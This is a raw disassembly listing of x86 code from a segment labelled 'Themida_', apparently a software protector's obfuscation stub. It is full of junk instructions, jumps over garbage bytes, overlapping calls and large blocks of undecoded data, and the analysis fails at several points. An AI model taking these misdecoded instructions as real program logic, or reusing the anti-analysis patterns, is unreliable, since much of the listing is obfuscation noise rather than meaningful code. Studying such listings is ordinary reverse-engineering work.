jmp loc_60B7F8
; ---------------------------------------------------------------------------
db 5Ch, 89h, 5Bh
db 90h
db 1Ch, 8Fh, 0B9h
; ---------------------------------------------------------------------------
loc_60B7F8: ; CODE XREF: sub_60B797+55j
pusha
jb loc_60B805
and eax, 3200852Eh
loc_60B805: ; CODE XREF: sub_60B797+62j
stc
popa
mov ebx, 39F3C016h
mov esi, edx
push ebx
mov dx, ax
pop esi
mov ecx, 6EB02122h
mov bh, 49h
mov bx, 3D8Fh
jns loc_60B829
and bx, 9793h
loc_60B829: ; CODE XREF: sub_60B797+87j
jle loc_60B834
or cx, 0E8BFh
loc_60B834: ; CODE XREF: sub_60B797:loc_60B829j
mov dh, 0B8h
sub ax, 59FCh
jmp loc_60B84A
; ---------------------------------------------------------------------------
dd 351FF5F9h, 9915E92Bh
db 0C8h, 60h
; ---------------------------------------------------------------------------
loc_60B84A: ; CODE XREF: sub_60B797+A4j
pusha
call sub_60B85D
add edx, esi
sbb al, 51h
sbb eax, 3F636154h
pop es
mov esp, ecx
xchg eax, edx
sub_60B797 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60B85D proc near ; CODE XREF: sub_60B797+B4p
pop esi
clc
popa
mov bl, 14h
and di, 0D300h
pusha
movsx edx, ax
add ax, 661Ch
popa
mov si, di
pusha
jmp loc_60B882
; ---------------------------------------------------------------------------
dw 4C95h
dd 62E2212Ch
db 16h, 0DCh
; ---------------------------------------------------------------------------
loc_60B882: ; CODE XREF: sub_60B85D+18j
popa
sbb di, 0CA6Ch
push esi
jno loc_60B894
mov edx, 6571BBB7h
loc_60B894: ; CODE XREF: sub_60B85D+2Cj
pop edi
mov ebx, 6B339EE2h
push eax
pop edx
or ax, 9820h
mov si, 92E1h
mov ebx, 63EA42C4h
mov si, bx
jmp loc_60B8C6
; ---------------------------------------------------------------------------
dw 4FF9h
dd 7CA66A27h, 0C3479A20h, 5B2D98AEh, 0B14B5A74h
db 8Fh, 4
; ---------------------------------------------------------------------------
loc_60B8C6: ; CODE XREF: sub_60B85D+50j
js loc_60B8CF
mov bx, di
loc_60B8CF: ; CODE XREF: sub_60B85D:loc_60B8C6j
jmp loc_60B8E3
; ---------------------------------------------------------------------------
dd 0E3167360h, 97B14B8h, 3AEC9DEEh
db 0C0h, 0B6h, 6Ch
; ---------------------------------------------------------------------------
loc_60B8E3: ; CODE XREF: sub_60B85D:loc_60B8CFj
or ecx, 550A559Ch
mov dx, 646h
cld
cld
jmp loc_60B8F9
; ---------------------------------------------------------------------------
mov ds:0CDACD735h, eax
loc_60B8F9: ; CODE XREF: sub_60B85D+92j
jns loc_60B911
call sub_60B90F
push esp
add [esi], dl
mov ds:0B7498BAAh, al
pop edi
jg short near ptr loc_60B963+4
sub_60B85D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60B90F proc near ; CODE XREF: sub_60B85D+A2p
cld
pop ecx
loc_60B911: ; CODE XREF: sub_60B85D:loc_60B8F9j
movsx edi, si
pusha
mov si, 0C368h
popa
jmp loc_60B924
; ---------------------------------------------------------------------------
db 0EDh
dd 255699Dh
; ---------------------------------------------------------------------------
loc_60B924: ; CODE XREF: sub_60B90F+Bj
movsx eax, ax
mov dx, 0C7A5h
adc ax, 980Ch
mov cx, 0DA7Bh
mov eax, edi
cmc
pusha
cld
pusha
or eax, 1E04FE3h
sbb ax, 7036h
popa
popa
clc
stc
jmp loc_60B958
; ---------------------------------------------------------------------------
db 90h
db 0A6h
dd 69CD28FAh, 6EC261A5h
; ---------------------------------------------------------------------------
loc_60B958: ; CODE XREF: sub_60B90F+3Aj
and ebx, 3388BA4Eh
mov ax, 0CBBh
push ebx
loc_60B963: ; CODE XREF: sub_60B85D+B0j
and ecx, 16A49083h
pop ecx
call near ptr loc_60B977+1
clc
inc esi
aas
rol byte ptr [ebp+6Ch], 0B0h
xchg eax, edx
loc_60B977: ; CODE XREF: sub_60B90F+5Bp
cmp ah, [eax-75h]
sub_60B90F endp ; sp-analysis failed
clc
or edi, 49C0FEE7h
popa
pop edx
jle $+6
movzx edx, di
jnp loc_60B994
mov ecx, esi
loc_60B994: ; CODE XREF: Themida_:0060B98Cj
push edi
jmp loc_60B9A7
; ---------------------------------------------------------------------------
dw 416Fh
dd 0EBA011B0h, 3B05B1A1h
db 90h
; ---------------------------------------------------------------------------
cmp al, 83h
loc_60B9A7: ; CODE XREF: Themida_:0060B995j
pop esi
jmp loc_60B9BB
; ---------------------------------------------------------------------------
db 19h, 6Ah, 0B8h
dd 26EFA0B5h, 20E74FB9h
db 0DFh, 0FCh, 1Ah
; ---------------------------------------------------------------------------
loc_60B9BB: ; CODE XREF: Themida_:0060B9A8j
stc
push eax
mov si, 758Eh
pop ebx
movzx eax, di
sub bx, 9C80h
xor ah, 65h
mov cx, 0ABCAh
jmp loc_60B9E1
; ---------------------------------------------------------------------------
dw 0DFE6h
dd 378D19A2h, 7A2EA2F2h
db 31h
; ---------------------------------------------------------------------------
loc_60B9E1: ; CODE XREF: Themida_:0060B9D1j
mov dh, 1Dh
or ax, 936Dh
jbe loc_60B9F2
mov bx, 9957h
loc_60B9F2: ; CODE XREF: Themida_:0060B9E8j
cmc
jb $+6
call near ptr loc_60BA05+1
inc ebx
aad 75h
rcl byte ptr [esp+ecx-46h], cl
loc_60BA05: ; CODE XREF: Themida_:0060B9F9p
fsubp st(1), st
adc al, 0
; ---------------------------------------------------------------------------
db 2 dup(0), 0DAh
dd 0B595A243h, 533B3EFBh, 0EAC41C57h, 86CB5AF4h, 58BC7067h
dd 5BF6651h, 0B70F5A73h, 8B6656CAh, 0E9605EC1h, 0Dh, 919802A6h
dd 21EE450Ah, 0CE262ACCh, 0D0816671h, 6661347Eh, 78CFC981h
dd 5870Fh, 0CFB90000h, 66158D90h, 0E98B24B9h, 0Dh, 0FC9F4F61h
dd 0C622435Ah, 0CB4C3A30h, 8D0F20h, 80000000h, 800F88D1h
dd 17h, 0FE852h, 0F2D60000h, 0EA53200Bh, 1BA9B049h, 97030C6Bh
dd 565B5AB5h, 7E9h, 0C3226E00h, 8A339B9Bh, 0EE95Eh, 28B40000h
dd 0F435DF7h, 0D5F3FF29h, 72601325h, 57C1B70Fh, 509FB866h
dd 4840F5Bh, 66000000h, 0F2F0DBAh, 28Ah, 0E8F28B00h, 0Bh
dd 0AA3454DAh, 0F935E52Dh, 0FAFE915h, 815EF6B7h, 7F8474CEh
dd 60B6B626h, 9AD1EE81h, 8B667694h, 0EF8161F8h, 2F607041h
dd 24BF9ABEh, 0F50606Dh, 82h, 0B70F5800h, 0EBF61F9h, 0F0BCA78h
dd 283h, 0F9D2B000h, 0C801E781h, 0EA80558Ah, 0E1805254h
dd 830F5F09h, 5, 0EDF68166h, 0D0816606h, 11E98178h, 92000000h
dd 5F4E4D8Eh, 2BAB618Ch, 0A40052D7h, 47D786BBh, 0EBBAE28Ah
dd 51203BD1h, 81665AF9h, 600F6BDBh, 860F60h, 0E9000000h
dd 13h, 86993B2Ch, 0A0603195h, 94803960h, 0FCF90A9Dh, 61E7196Ch
dd 3850Fh, 0EB800000h, 13E961EBh, 34000000h, 0E9FC2464h
dd 0C692E480h, 395096A0h, 0EDD1AA90h, 0F9602724h, 9AB8BB61h
dd 8B66631Bh, 13E8DEh, 75610000h, 9A5281C6h, 27B17351h
dd 8778FDACh, 2E975656h, 0EFBA6655h, 80605E6Dh, 8D0FFEEBh
dd 3, 61CABF0Fh, 9E8h, 5DCBC700h, 0A25769CFh, 37BBE161h
dd 5B2A84F5h, 0FF6B70Fh, 0C88BD9B7h, 0FC7B70Fh, 38Ah, 63C68000h
dd 14E9F5h, 6E380000h, 5F722BE8h, 5B6ABA80h, 9907CFBBh
dd 0A9C3386Ah, 0F5652A4h, 1087h, 0AE800h, 50ED0000h, 1672C096h
dd 0A62D65ECh, 0BE9595Bh, 74000000h, 0C4740D47h, 0C8547E02h
dd 50F51B55h, 0DE957h, 0FB2D0000h, 2EF45E76h, 28379394h
dd 58A79A00h, 0E9DE8A5Bh, 7, 157FD26Eh, 8BCFDBDFh, 9E9D6h
dd 3CF50000h, 3115F136h, 8B9673E0h, 0B9F9BFF9h, 0F281642Bh
dd 15773130h, 0F773BA66h, 7810Fh, 0BB500000h, 0AA11088h
dd 1820F5Fh, 0F8000000h, 0AE9h, 14CD1500h, 1E1B767Eh, 529D3128h
dd 0C7CE8166h, 66515B6Ch, 0E1DDE381h, 0F7C3815Eh, 0F54D64F6h
dd 10E9h, 0C72A6F00h, 86563701h, 7B48F304h, 0BACA461Dh
dd 11BE66ECh, 6E9B4h, 0B590000h, 66D0B441h, 8BFAB70Fh
dd 0E9C38ACFh, 11h, 0F5A5C5E1h, 670AEBF3h, 880C8204h, 0FF037462h
dd 0EF81662Dh, 0D0807D2Ch, 0CD480BBh, 10E9h, 8D42DC00h
dd 69FAA172h, 356A3494h, 0DA70B588h, 66F78B8Eh, 0C90DDF81h
dd 0DE9h, 457D8500h, 0D4FF3447h, 3CB690D5h, 8B660249h
dd 11E8C2h, 0C5AA0000h, 0CF24D5B0h, 7EA1CE56h, 70669F79h
dd 0F90B2A5h, 0F58CBB7h, 382h, 25DB8000h, 0C1E28166h, 0F7DB3FAh
dd 88Ch, 840F5300h, 0
dd 8A0F605Eh, 5, 6BDB8166h, 44B961B1h, 0E90EEBABh, 7, 0F92C04F9h
dd 0B8CE78BEh, 0C3045B4h, 8820Fh, 8B0F0000h, 2, 0B866D38Ah
dd 0BB66F38Ah, 8B0FCAFCh, 5, 5FF38166h, 31CDBF92h, 0CF810857h
dd 46475A8Dh, 0CFF3CB81h, 53F506B2h, 92ED805Fh, 0F95F480h
dd 178Ah, 12E900h, 0B8310000h, 8D51ECA2h, 0BEBFA67Fh, 281957E6h
dd 3CA4E3E2h, 79C38166h, 10840F81h, 60000000h, 6E9h, 45229000h
dd 0FB2DFB6h, 6661DABFh, 530DE381h, 9E9h, 97818500h, 0EA3414B3h
dd 850F6704h, 4, 6BFDBA66h, 1CBFAFB3h, 0F60FDBCh, 48Ah
dd 0F18B5300h, 0AE9FC5Bh, 0C6000000h, 519A5281h, 0AC27B173h
dd 5E9FDh, 0A32D0000h, 0BEDD8F00h, 505773DEh, 0EAEF81F5h
dd 6640462Bh, 0F818FBBh, 8B60DEBFh, 0CB8166DAh, 0F619870h
dd 87h, 44BA6600h, 5CBE6662h, 0D1BF0F41h, 0FE9h, 0E8183500h
dd 0EE720825h, 4874610h, 82BC40A2h, 0D278BF66h, 6E9h, 7FD36400h
dd 0F8BA35ACh, 0E8F6BF0Fh, 0Eh, 6B8773FFh, 5D48F578h, 75B0A53Eh
dd 665E634Fh, 0FD6AABBh, 889h, 2810F00h, 56000000h, 10E85Fh
dd 2FBC0000h, 0C4FA4AFCh, 0FF88FFB8h, 3F127CD8h, 9E9203Ch
dd 0BE000000h, 0B636FBEDh, 0EC647C4Ah, 6680B159h, 0BEB3CF8Bh
dd 0E8CB8B66h, 12h, 0FB3214E1h, 0DC215EADh, 6C1BCCA0h
dd 0CA87DC2Eh, 8B661021h, 880F58C6h, 2, 0BF0FF18Bh, 880FF5DEh
dd 0
; ---------------------------------------------------------------------------
push edx
jmp loc_60BF33
; ---------------------------------------------------------------------------
dw 5D8Ah
db 0F8h, 59h, 7Ch
; ---------------------------------------------------------------------------
loc_60BF33: ; CODE XREF: Themida_:0060BF29j
pop esi
jmp loc_60BF45
; ---------------------------------------------------------------------------
db 0A5h, 2Fh, 0CFh
dd 0E1DB69ABh, 0FE9CD06Ah
db 1Ch
; ---------------------------------------------------------------------------
loc_60BF45: ; CODE XREF: Themida_:0060BF34j
jmp loc_60BF59
; ---------------------------------------------------------------------------
dw 3297h
dd 0E9DD6A8Ch, 5C4285A7h, 0C34120E9h
db 0C0h
; ---------------------------------------------------------------------------
loc_60BF59: ; CODE XREF: Themida_:loc_60BF45j
jmp loc_60BF66
; ---------------------------------------------------------------------------
dw 1609h
dd 0E4812029h
db 8Dh, 0D4h
; ---------------------------------------------------------------------------
loc_60BF66: ; CODE XREF: Themida_:loc_60BF59j
call near ptr loc_60BF6E+3
mov ebx, [esi]
pop eax
loc_60BF6E: ; CODE XREF: Themida_:loc_60BF66p
mov ds:0F51D34Ch, al
test [eax], al
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
pop esi
pop edi
or dx, 0D6E0h
jmp loc_60BF95
; ---------------------------------------------------------------------------
fdiv dword ptr [ebx-3B512899h]
lodsb
mov [edx+66169C68h], al
dec ecx
test [esi], ch
movsb
loc_60BF95: ; CODE XREF: Themida_:0060BF7Fj
mov dx, 0B294h
mov edx, 3CB9D25Ch
sub ax, 0C708h
movzx ecx, dx
jmp loc_60BFB5
; ---------------------------------------------------------------------------
cwde
retf 3DCh
; ---------------------------------------------------------------------------
db 27h
dd 3D41529Eh
db 0B0h
; ---------------------------------------------------------------------------
loc_60BFB5: ; CODE XREF: Themida_:0060BFA6j
pusha
mov edi, 43218B99h
stc
popa
mov esi, 614EB136h
mov esi, ebx
call sub_60BFDC
retn 4CA5h
; ---------------------------------------------------------------------------
dd 11F5335Ch, 73716EB3h, 5DBD4A51h, 20953F81h
; =============== S U B R O U T I N E =======================================
sub_60BFDC proc near ; CODE XREF: Themida_:0060BFC4p
stc
pop ecx
mov ebx, edi
jmp loc_60BFF2
; ---------------------------------------------------------------------------
dec ebx
cmovno edx, eax
lodsd
xchg eax, ebp
push ss
sub eax, 0ACC91F59h
pop edi
loc_60BFF2: ; CODE XREF: sub_60BFDC+4j
mov ecx, esi
jmp loc_60C001
; ---------------------------------------------------------------------------
db 0F7h, 2Eh, 0F5h
dd 0C0DA3AAEh
; ---------------------------------------------------------------------------
push ss
loc_60C001: ; CODE XREF: sub_60BFDC+18j
sbb edx, 4F5F2EB4h
jmp loc_60C015
; ---------------------------------------------------------------------------
dd 1D2A2DE1h, 0E11B67Fh
db 0DCh
; ---------------------------------------------------------------------------
loc_60C015: ; CODE XREF: sub_60BFDC+2Bj
jmp loc_60C02E
; ---------------------------------------------------------------------------
dw 0FE5h
; ---------------------------------------------------------------------------
mov ebx, 81227403h
xchg eax, esi
inc edi
dec edi
movsd
not eax
retn
; ---------------------------------------------------------------------------
inc ecx
mov esp, 0A859BC8Dh ; CODE XREF: sub_60C040+5Aj
loc_60C02E: ; CODE XREF: sub_60BFDC:loc_60C015j
call sub_60C040
mov cl, 3Eh
xchg eax, ecx
jo short loc_60C05E
xchg eax, esp
jmp short loc_60C060 ; CODE XREF: sub_60C040+27j
sub_60BFDC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 69h
; ---------------------------------------------------------------------------
lea eax, [edi]
cmpsd
inc ebx
; =============== S U B R O U T I N E =======================================
sub_60C040 proc near ; CODE XREF: sub_60BFDC:loc_60C02Ep
var_5A = dword ptr -5Ah
mov eax, 5706F493h
pop esi
pusha
mov dx, bx
popa
adc dx, 58F4h
movsx ebx, bx
mov al, 1Ch
jmp loc_60C06D
; ---------------------------------------------------------------------------
dw 4A62h
db 60h, 3
; ---------------------------------------------------------------------------
loc_60C05E: ; CODE XREF: sub_60BFDC+5Aj
mov esp, [eax]
loc_60C060: ; CODE XREF: sub_60BFDC+5Dj
sar dword ptr [ebx+463BE387h], cl
dec eax
jz short near ptr loc_60C039+1
neg [esp+ecx-4+var_5A]
loc_60C06D: ; CODE XREF: sub_60C040+15j
cmc
mov cl, 25h
mov si, 9F52h
push ebx
cld
pop esi
jmp loc_60C088
; ---------------------------------------------------------------------------
dd 0ED0B85D6h, 72A449C6h, 41AAE072h
; ---------------------------------------------------------------------------
loc_60C088: ; CODE XREF: sub_60C040+37j
cld
push esi
jno loc_60C092
mov dh, 0C4h
loc_60C092: ; CODE XREF: sub_60C040+4Aj
pop esi
call near ptr loc_60C09C+5
fist word ptr [eax]
loope near ptr loc_60C029+4
loc_60C09C: ; CODE XREF: sub_60C040+53p
xor [edx+ebx*2-207E34A5h], esp
sub_60C040 endp ; sp-analysis failed
cmpsd
jmp far ptr 9BA5h:0BF5E4452h
; ---------------------------------------------------------------------------
db 4Ah
dd 9E840h, 6D470000h, 58973099h, 816E28F5h, 0EFEAEAE2h
dd 0BE665F48h, 0B70F0E9Dh, 0E960FCC9h, 11h, 6B4BC4ABh
dd 0A595D2DCh, 1ED79705h, 0A485B9CCh, 6DC1BFAEh, 66612EB2h
dd 6660C38Bh, 2DC5DF81h, 8A61F18Bh, 8E0F60CEh, 5, 35C98166h
dd 67D0B8E7h, 0E96131B5h, 0Bh, 0C36A72ACh, 393AD7E3h, 8A1DD1FAh
dd 1FC881D8h, 6611C772h, 66133BBAh, 0B8ACF7B9h, 2E56FE57h
dd 8ACA8B66h, 0EE9D5h, 4D680000h, 66C229F8h, 8878A87Dh
dd 55CE827Eh, 0B8A0Fh, 6E90000h, 0E9000000h, 69EE1D53h
dd 0F60F840h, 0B1B7C9B7h, 0B70FF561h, 9E9C3h, 7E7D0000h
dd 35D6573Dh, 0E9862BACh, 11h, 0AE0CA881h, 4D388473h, 0FA5C0548h
dd 96802BE6h, 52BFB170h, 5FD3BF0Fh, 4840F52h, 66000000h
dd 58F081B9h, 0A838C381h, 14E931F5h, 0D4000000h, 0B463C25h
dd 15811334h, 9CC49E41h, 0AB764E92h, 81FF4786h, 1D08F2E0h
dd 0DF8B6679h, 890FC78Bh, 8, 850F50h, 5F000000h, 53C6BF0Fh
dd 5B37DD80h, 0DE9h, 0C837B300h, 0DB36965Eh, 93804E94h
dd 0AE8B163h, 42000000h, 0CB21276Ch, 849D9627h, 6800F32h
dd 81000000h, 8B63D2D9h, 0F525A54h, 665FC2B7h, 0E2BDC881h
dd 0CF8B6656h, 6657F55Fh, 6995C381h, 0CBB70F5Ah, 0D8816656h
dd 0F58D203h, 0C83h, 7E900h, 0C53C0000h, 0C0A5CE12h, 0C280F52Bh
dd 0E86060D3h, 0Dh, 8EDDC133h, 154C0C86h, 9139036Eh, 61FC5EB9h
dd 0F861CB8Ah, 0E881F38Bh, 4BE68763h, 663ECF80h, 80F8C18Bh
dd 0DA8BF7C4h, 68B5F381h, 0AE97F6Bh, 13000000h, 4E42CFD0h
dd 52BF6A26h, 0EE816678h, 0BE917B3h, 0D6000000h, 63807E96h
dd 0E984824Ch, 81668758h, 804EA9E2h, 0EFB778F7h, 5E9h
dd 3B2CDE00h, 0DC808699h, 4860F4Ah, 66000000h, 0B83394B9h
dd 1D9A02E5h, 66F98B66h, 906BD681h, 45C0C881h, 81664569h
dd 0B1FD14C3h, 10840F19h, 0E9000000h, 0Bh, 0A98DA3E8h
dd 63366E1Eh, 81AB6A6Ah, 0D1BEFFC6h, 11E836h, 0BBB30000h
dd 671577A7h, 0B0975819h, 0D3A4D897h, 0B273C5BFh, 0BA6658F7h
dd 8B66CD97h, 10E9FBh, 63A60000h, 0BB6DA91Ah, 0DEA6ECA9h
dd 68DB6A3Ah, 0D68B323Fh, 0F60F1B5h, 8B0FDBBFh, 3, 61F3B70Fh
dd 14E950h, 0A30A0000h, 468D6EF7h, 5A64023Ah, 4527D09Bh
dd 786D5479h, 0F5AD097h, 680h, 58536000h, 6661F98Bh, 8671E681h
dd 0BA25EC80h, 1F7A9616h, 0C88166FCh, 0E9F59B12h, 12h
dd 786CCD7Dh, 4D88FDFCh, 88AB5018h, 5C0CF6DBh, 7FB2A0F3h
dd 0B1C7DC80h, 0FABA62h, 890F052Ch, 3, 8108C480h, 0F2749CDFh
dd 0FC2B64Fh, 58Fh, 0D3816600h, 800FFA11h, 6, 8BF88B60h
dd 0B96661CAh, 8E0F43BEh, 1, 5EF956F9h, 5E74B453h, 0E9C0B70Fh
dd 13h, 0C7C806E0h, 21C5254Fh, 6B14A879h, 0D9DAED97h, 0B07006D8h
dd 0EA816653h, 8B5776E7h, 0F6058F8h, 1287h, 0CE800h, 5770000h
dd 35E90BA1h, 1D61C655h, 0E95E9724h, 12h, 9CD5B88Ah, 0A05CEB0Dh
dd 88C3C94Ch, 57EA79C3h, 806182ADh, 8166BAE7h, 0F9AD9ED9h
dd 6CB9D58Ah, 0F472981h, 0D85h, 8E900h, 0CDFF0000h, 102624E6h
dd 8166444Eh, 0B5B935CFh, 8166F9BCh, 0E84417EFh, 0Eh, 4195160Dh
dd 2053361Eh, 0A2994F8Bh, 8B660283h, 6DBA5FFBh, 667B5DD3h
dd 0C781C18Bh, 0EB00EA2h, 0AE9h, 92F2C700h, 1A6A7374h
dd 0F28C6CAh, 10E8C9B7h, 38000000h, 4A41C9AAh, 97A3EA8Dh
dd 644FA055h, 0E9713E91h, 6, 0E78FAACEh, 665E89E0h, 7F72CA81h
dd 8166FE8Ah, 66A31BDFh, 0CE8DA8Bh, 0FA000000h, 1E1CF19Fh
dd 703D816Bh, 0F94EC1D2h, 0A291BE59h, 5B507299h, 0B735DE81h
dd 8E0F6F33h, 1, 0EE8F8h, 86F0000h, 6F4ADB3Ch, 9F3EF773h
dd 0FF2529D5h, 22CE8166h, 8A0F595Fh, 5, 0C3C28166h, 0E9FB8B0Fh
dd 6, 95237E8Bh, 0F5530BACh, 3830F58h, 0F000000h, 870FC0BFh
dd 10h, 0BE9h, 683A4400h, 0B81B0864h, 0D057171Ch, 38D08166h
dd 0BE957D8h, 0B0000000h, 6DC4F5FCh, 0F229C8A8h, 525B22F4h
dd 38F0Fh, 8B660000h, 800F59CAh, 0Ah, 5E9h, 56FEC00h, 8B66AD69h
dd 0F38B66DAh, 1B4F781h, 8A0F118Dh, 7, 0F585060h, 0B861C3BFh
dd 750F6EEDh, 0FCA8B66h, 0B8Bh, 5880F00h, 0BA000000h, 244FD282h
dd 0F0CE380h, 8B66C9BFh, 8A5652F8h, 0BE5A59DCh, 6049A7B2h
dd 6E90BB5h, 67000000h, 0A476D105h, 0F7B45221h, 0EE958h
dd 92A90000h, 645C8F99h, 90939FCCh, 3ABAB064h, 5E9F8h
dd 0B6EF0000h, 0BE9BA281h, 6A75E9A6h, 13E95250h, 18000000h
dd 2156A81Bh, 1C6F2DE4h, 0C702EF3Ch, 10129E9h, 5F5EFAA9h
dd 0DEBF0FF9h, 66C78B66h, 0E9DAAABAh, 0Fh, 969443B4h, 16CDAFDCh
dd 9E375955h, 60E63A62h, 10E9h, 6B68C700h, 0DA0239Bh, 0CD3F69A7h
dd 338DDDA6h, 0F7816634h, 8161B899h, 345C09EEh, 0FFE8B5Ch
dd 686h, 0A6CB8100h, 56679210h, 61616060h, 890F605Fh, 6
dd 8B0Fh, 0B7610000h, 0F3BF0FA4h, 3890Fh, 0BF0F0000h, 8ADF8BDBh
dd 0F9F9F8E8h, 5FFB3AB9h, 148E0F62h, 0E8000000h, 0Bh, 0B4598054h
dd 257C9A8h, 66B9781Fh, 0E95AD78Bh, 8, 0DD5BF4D1h, 65B79F10h
dd 0D78166F9h, 8E9A327h, 0F4000000h, 2B62C9EDh, 66E0C1ACh
dd 0BF0FF38Bh, 0DE8B66D6h, 0B3DFC881h, 0BA665624h, 8D0F0735h
dd 0
dd 5800Fh, 66510000h, 665BC18Bh, 0FA21F781h, 0DFBF0F60h
dd 61D9B70Fh, 4BF6B866h, 920816BAh, 8C0F5265h, 6, 0D64E281h
dd 0E85E7AF9h, 0Bh, 162BDC72h, 6033F96Bh, 58266352h, 7E9h
dd 0E0BC3E00h, 4F006314h, 1EE38160h, 0F5F47C8h, 28Ah, 61EDB400h
dd 14E9h, 0EE19700h, 825BB36Ch, 18EBE9C9h, 6FCF33CEh, 0FD345D2Eh
dd 0F5F280B0h, 0CE9CE8Bh, 14000000h, 0C522B08h, 0DD71C78h
dd 0F9F37004h, 0DC4D71BBh, 13E90Ah, 0B2D50000h, 4338EAE0h
dd 0F3B51D78h, 0F511DF2Bh, 94D052C7h, 0C860F6Dh, 0F000000h
dd 68Eh, 0C5C28100h, 0F3D3278h, 38Eh, 0C9BF0F00h, 0EE9h
dd 0BECAE200h, 0E6AC7ACBh, 5B0330E5h, 8BD22F72h, 8CE181C7h
dd 0F6415A2h, 48Dh, 0CABE6600h, 1A800FF1h, 0F000000h, 1482h
dd 0FE900h, 90490000h, 85B5179Ah, 5C6390A8h, 7069BEF8h
dd 57F48A6Eh, 0F60F559h, 1687h, 10E800h, 2FBB0000h, 95352905h
dd 6554B1EEh, 22E261C5h, 6659C8EFh, 0F61D68Bh, 584h, 8BD4B800h
dd 0F561AAEh, 28Bh, 59E8B500h, 17820Fh, 0E9600000h, 10h
dd 9DD2F4E2h, 3F6F4628h, 90D43CB3h, 9CC110FFh, 13E961h
dd 0C59F0000h, 0E7AA5693h, 7B7A9895h, 6BEEAF67h, 58BF30F1h
dd 51D0810Dh, 0F6A364Dh, 784h, 1890F00h, 0F5000000h, 66C6BF0Fh
dd 0B70FF28Bh, 0EE9FBh, 0C5350000h, 3E0E1B1h, 2E27530Bh
dd 9642C765h, 41EA8166h, 66F98B89h, 667387BBh, 0B8BB57BBh
dd 17372A3Bh, 0BE60CB8Ah, 186BFF6Eh, 95ADF81h, 0F616414h
dd 181h, 0D78BF900h, 0BAD9BF0Fh, 54D60844h, 0FC3BF0Fh
dd 6660F6B7h, 0FCDEBBFh, 288h, 61C88B00h, 2491EB81h, 8F0F6E46h
dd 9, 38E0Fh, 0BF0F0000h, 0EE9C0h, 72CC0000h, 6C62104Ah
dd 5ECC7547h, 0A3EC5472h, 8B666060h, 0AE8D7h, 1CE10000h
dd 1FA9CC2Eh, 18E1F959h, 0DA816159h, 81AABE9h, 10E9FC61h
dd 2D000000h, 14FDF02Ch, 24FEF42Eh, 0C39AD4FEh, 5629ACD3h
dd 58CAB70Fh, 60F8B70Fh, 61E28AF5h, 0FCE8AF9h, 86h, 0C4B15700h
dd 14F68058h, 0BE9h, 0F65BF700h, 0F8546E8Ch, 8D1CEEC6h
dd 58E0Fh, 81660000h, 603253E6h, 76D38160h, 0E95B5A05h
dd 13h, 36129DECh, 6C31E97Fh, 57D411FCh, 48EC4B67h, 612379AAh
dd 0BE9h, 0ABD26200h, 0D8C2B02h, 79FC145Bh, 0D8B86661h
dd 0DE96Dh, 901A0000h, 4BB70585h, 288C781Ch, 0E9C8CE1Fh
dd 13h, 2ABBD854h, 7A01C09Bh, 8EE3A1Ah, 584358F5h, 0F369811h
dd 28Ah, 8AD18B00h, 0CEB70FC8h, 9E8h, 0FB4D600h, 0C8AFF110h
dd 0BF0F22A6h, 860F58C2h, 0Dh, 8E9h, 0B3176800h, 96F40694h
dd 9E87Ch, 1A210000h, 0C179785Fh, 0E9D1CBABh, 8, 91134455h
dd 7D8247F3h, 7E85Ah, 0FF180000h, 1651828h, 66F95A25h
dd 5B36E081h, 28E0F60h, 0B5000000h, 6E9A1h, 0EA570000h
dd 5FC80E45h, 0D78B6661h, 3840Fh, 0C1800000h, 0E9DA8B90h
dd 0Ch, 0CC8DCC32h, 0E46AFD56h, 5BDE29FCh, 5EC18B51h, 820FD38Bh
dd 3, 80F0BF0Fh, 64B0A4DAh, 0CD805360h, 666059B1h, 819FF9BFh
dd 85FFA4D0h, 66616163h, 0B9FC1ABBh, 3AECDB54h, 0F2CB460h
dd 0E861C7B7h, 9, 0B1AB373Ch, 0D3B6E1EFh, 7B35971h, 0E800Fh
dd 9E90000h, 51000000h, 17834D35h, 0AE18CBE4h, 0AD17E681h
dd 0C2814926h, 161B133Ah, 0F880Fh, 0AE90000h, 0CD000000h
dd 0E6A1F64h, 3A656327h, 10E951AFh, 0FE000000h, 15BA2DF1h
dd 3A5B8BACh, 7DC95E45h, 59ABF4E1h, 81F9D08Bh, 0A70D28D3h
dd 0FFB70F7Fh, 0AE9h, 3A734400h, 64EBF52Dh, 66A5486Dh
dd 80CDB5BBh, 0E88171EAh, 7B4D173Fh, 320B966h, 0F2EA8166h
dd 0EFB8661Ah, 19CD801Ch, 73E280F8h, 59DBE781h, 8B662304h
dd 0D08160D9h, 6F1866BEh, 6631CB81h, 0F6133A1h, 87h, 0FEBF0F00h
dd 14E9h, 19C36800h, 6F3602CCh, 0E4F7692Fh, 0A0DE6CABh
dd 0D5E76A7Eh, 0AE801h, 0C6900000h, 64958B36h, 3CDA0E67h
dd 58A3C080h, 0AEE497BEh, 665EB206h, 8A0534BEh, 7E956E7h
dd 1F000000h, 31BF9F88h, 8B5B806Ah, 74A4BAF3h, 81662286h
dd 50F923D7h, 8F0F60h, 0E9000000h, 0Fh, 0D4EBC5E7h, 0CBDBABF1h
dd 8C7191A1h, 61F18273h, 0E3816659h, 66F5121Fh, 0E4F2E081h
dd 0B7EA8166h, 0C0D7B9F7h, 0F68052FEh, 800F53h, 0B5000000h
dd 0EB816615h, 0DBB1787Dh, 6BB526B6h, 4B71BB66h, 0BFC2BF0Fh
dd 6AFF99EFh, 3B9817B8h, 11E8536Dh, 0B3000000h, 86EB1F2Bh
dd 0D9F7C487h, 90F2CD53h, 19D0ADEDh, 0E1DBBF66h, 0BF665A5Bh
dd 0CE9C5FDh, 0B9000000h, 0E28155Eh, 666E8EF5h, 8BD94891h
dd 0C8B866F9h, 0D48051C7h, 0F605E8Fh, 386h, 0F0D58000h
dd 9266BF66h, 54CBB961h, 8E85C78h, 5D000000h, 4DF57707h
dd 0FE0ECC3h, 286h, 5FB0B500h, 6C07EB81h, 860F7A57h, 0Dh
dd 5E8h, 0D4294200h, 0E2B1DD6Fh, 6658515Bh, 0E9627CBAh
dd 0Dh, 2D285ABBh, 0F12C3CEBh, 1E254EB3h, 4840FB2h, 66000000h
dd 600453B9h, 0DD04B866h, 2810Fh, 1DB60000h, 3800F61h
dd 80000000h, 69B806ECh, 802B881Ah, 0DCB770DDh, 148D0Fh
dd 850F0000h, 0Eh, 9E9h, 97041A00h, 0DBFA0BBCh, 0BA66D098h
